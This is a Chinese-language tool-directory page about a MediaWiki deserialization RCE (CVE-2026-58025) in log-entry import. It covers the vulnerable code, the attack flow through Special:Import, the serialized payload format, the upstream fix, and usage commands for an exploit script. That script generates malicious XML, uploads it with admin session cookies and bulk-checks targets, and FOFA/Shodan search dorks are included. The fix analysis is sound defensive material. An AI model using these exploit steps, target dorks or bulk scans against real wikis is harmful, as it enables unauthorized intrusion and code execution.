Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-58025 — CVE-2026-58025 — MediaWiki 通过日志条目导入实现的反序列化远程代码执行(RCE)。LogEntryBase::extractParams() 对用户可控的 log_params 执行 unserialize()。CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9、< 1.44.6、< 1.45.4、< 1.46.0 | Kitploit
工具/GitHubGitHub/shinthink/cve-2026-58025
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubshinthink/cve-2026-58025

CVE-2026-58025

CVE-2026-58025 — MediaWiki 通过日志条目导入实现的反序列化远程代码执行(RCE)。LogEntryBase::extractParams() 对用户可控的 log_params 执行 unserialize()。CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9、< 1.44.6、< 1.45.4、< 1.46.0

查看仓库
41461个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-58025 — 通过日志条目导入实现 MediaWiki PHP 反序列化 RCE

WikiImporter → LogEntryBase::extractParams() → unserialize() 用户可控的 log_params → RCE


概述

CVE-2026-58025 是 MediaWiki(维基媒体基金会)中的一个严重(CVSS 9.8)不受信任数据反序列化漏洞。LogEntryBase::extractParams() 方法在用户可控的日志条目参数上调用 unserialize(),且未限制可实例化的 PHP 类。拥有 importupload 或 import 权限(默认:sysop 用户组)的攻击者可以构造一个恶意 XML 导入文件,在 <params> 字段中放置序列化的 PHP 对象,从而触发任意对象实例化,并可能通过 gadget 链实现远程代码执行。

受影响版本

版本分支受影响版本

要求: 需要 import 或 importupload 权限(默认:sysop 用户组)。攻击者必须能够向 MediaWiki 的 Special:Import 上传或导入 XML 文件。


漏洞机制

根本原因

includes/Logging/LogEntryBase.php 中的 LogEntryBase::extractParams() 直接在 log_params 数据块上调用 unserialize(),没有任何类限制:

root@kitploit:~
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
    return unserialize( $blob );  // ← user-controlled, no allowed_classes restriction
}

该方法在多个位置被调用:

攻击向量

主要攻击向量是通过 Special:Import 进行 XML 导入:

  1. 攻击者(拥有 import/importupload 权限)构造一个恶意的 MediaWiki XML 导出文件
  2. XML 中包含一个 <logitem> 元素,其 <params> 字段含有 PHP 序列化载荷
  3. WikiImporter::processLogItem() → WikiRevision::importLogItem() 存储该日志条目
  4. 当稍后读取该日志条目时(通过 DatabaseLogEntry::getParameters()、RecentChange::parseParams() 或日志展示),LogEntryBase::extractParams() 会对攻击者控制的数据块调用 unserialize()
  5. 如果存在合适的 gadget 链(通过已安装的扩展/第三方库),这将导致 RCE

攻击流程

root@kitploit:~
POST /wiki/Special:Import
  Content-Type: multipart/form-data
  action=submit
  xmlimportfile=<malicious.xml>
  source=file
  catname=
  prefix=
  loginComment=

malicious.xml:
  <mediawiki ...>
    <logitem>
      <type>test</type>
      <action>test</action>
      <params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
    </logitem>
  </mediawiki>

→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data

序列化载荷格式

XML 导入中的 <params> 字段接受标准的 PHP 序列化字符串。一个安全(良性)的条目:

root@kitploit:~
a:1:{s:3:"foo";s:3:"bar";}

一个包含序列化对象的恶意条目:

root@kitploit:~
a:1:{s:3:"foo";O:8:"stdClass":0:{}}

当在未指定 allowed_classes 限制的情况下调用 unserialize() 时,对象会被完整实例化。如果存在可用的 gadget 链(例如来自通过 Composer 安装的库),这就会演变为 RCE。


修复方案

提交: 60f154d4618063ac4d5832285fc246b8fcd7c72c 作者: Bartosz Dziewoński 日期: 2026-06-29

该修复采用了多层防御:

1. 使用 allowed_classes 限制 unserialize()

root@kitploit:~
// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
    $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
    if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
        $allowedClasses = $attribute[$logType];
    } else {
        $allowedClasses = false;  // no classes allowed
    }
    $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
    if ( $result !== false && !is_array( $result ) ) {
        return false;
    }
    return $result;
}

2. 新增 containsUnsafeParams() 检查

检测 __PHP_Incomplete_Class 实例(被 allowed_classes 阻止实例化的对象):

root@kitploit:~
public static function containsUnsafeParams( array $params ): bool {
    $result = false;
    $params = [ $params ];
    array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
        if ( $val instanceof \__PHP_Incomplete_Class ) {
            $result = true;
        }
    } );
    return $result;
}

3. 导入门控 — WikiImporter::processLogItem()

新增 logentryimport 权限检查(默认不授予任何人):

root@kitploit:~
private function processLogItem( $logInfo ) {
    if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
        $this->notice( 'permissionserrorstext-withaction-noreason', ... );
        return false;
    }
    // ...
}

4. WikiRevision::importLogItem() — 拒绝不安全的参数

root@kitploit:~
if ( LogEntryBase::containsUnsafeParams(
    LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
    wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
    return false;
}

5. UnsafeLogFormatter — 安全显示已有的恶意条目

新的 UnsafeLogFormatter 类取代了常规的格式化器,用于包含被阻止对象的条目,显示占位消息而不是尝试格式化危险数据。

6. 相关修复:CVE-2026-58037

同一项研究(T422244)还发现,LogFormatter 的 raw 参数类型允许从用户可控的日志参数输出原始 HTML。在一个配套提交中,通过将 Message::rawParam() 改为 Message::plaintextParam() 修复了该问题。


PoC

随附的 exploit.py 会生成一个恶意 MediaWiki XML 导入文件,在日志条目参数中包含序列化的 PHP 对象。它还可以对 MediaWiki 实例进行指纹识别,并尝试通过 API 执行导入。

root@kitploit:~
# Generate malicious XML payload
python exploit.py --generate --output payload.xml

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"

安装

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests

用法

root@kitploit:~
# Generate malicious XML import file
python exploit.py --generate --output payload.xml

# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check

# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"

# Bulk check
python exploit.py -f targets.txt --check -o results.txt

FOFA / Shodan

root@kitploit:~
FOFA:   body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"

参考资料

  • NVD CVE-2026-58025
  • Phabricator T422244
  • 修复提交(1.43 分支) — SECURITY: Safely unserialize log entry parameters
  • 相关修复:CVE-2026-58037 — LogFormatter: 'raw' parameter format is no longer raw HTML
  • MediaWiki 1.43.9 发布说明
  • OSV CVE-2026-58025
  • CWE-502:不受信任数据的反序列化
  • CWE-94:对生成代码的控制不当

免责声明

此漏洞利用工具仅用于教育和已授权的安全研究。未经所有者明确许可,请勿将其用于任何系统。

下载工具
已修复版本
1.43.x< 1.43.91.43.9
1.44.x< 1.44.61.44.6
1.45.x< 1.45.41.45.4
1.46.x< 1.46.01.46.0
文件行号上下文
includes/Logging/DatabaseLogEntry.php187getParameters() — 从数据库读取日志条目
includes/RecentChanges/RecentChange.php781parseParams() — 解析最近更改
includes/Import/WikiRevision.php638importLogItem() — 从 XML 导入日志条目
maintenance/purgeChangedFiles.php182维护脚本日志解析
tests/phpunit/maintenance/DumpAsserter.php541测试辅助工具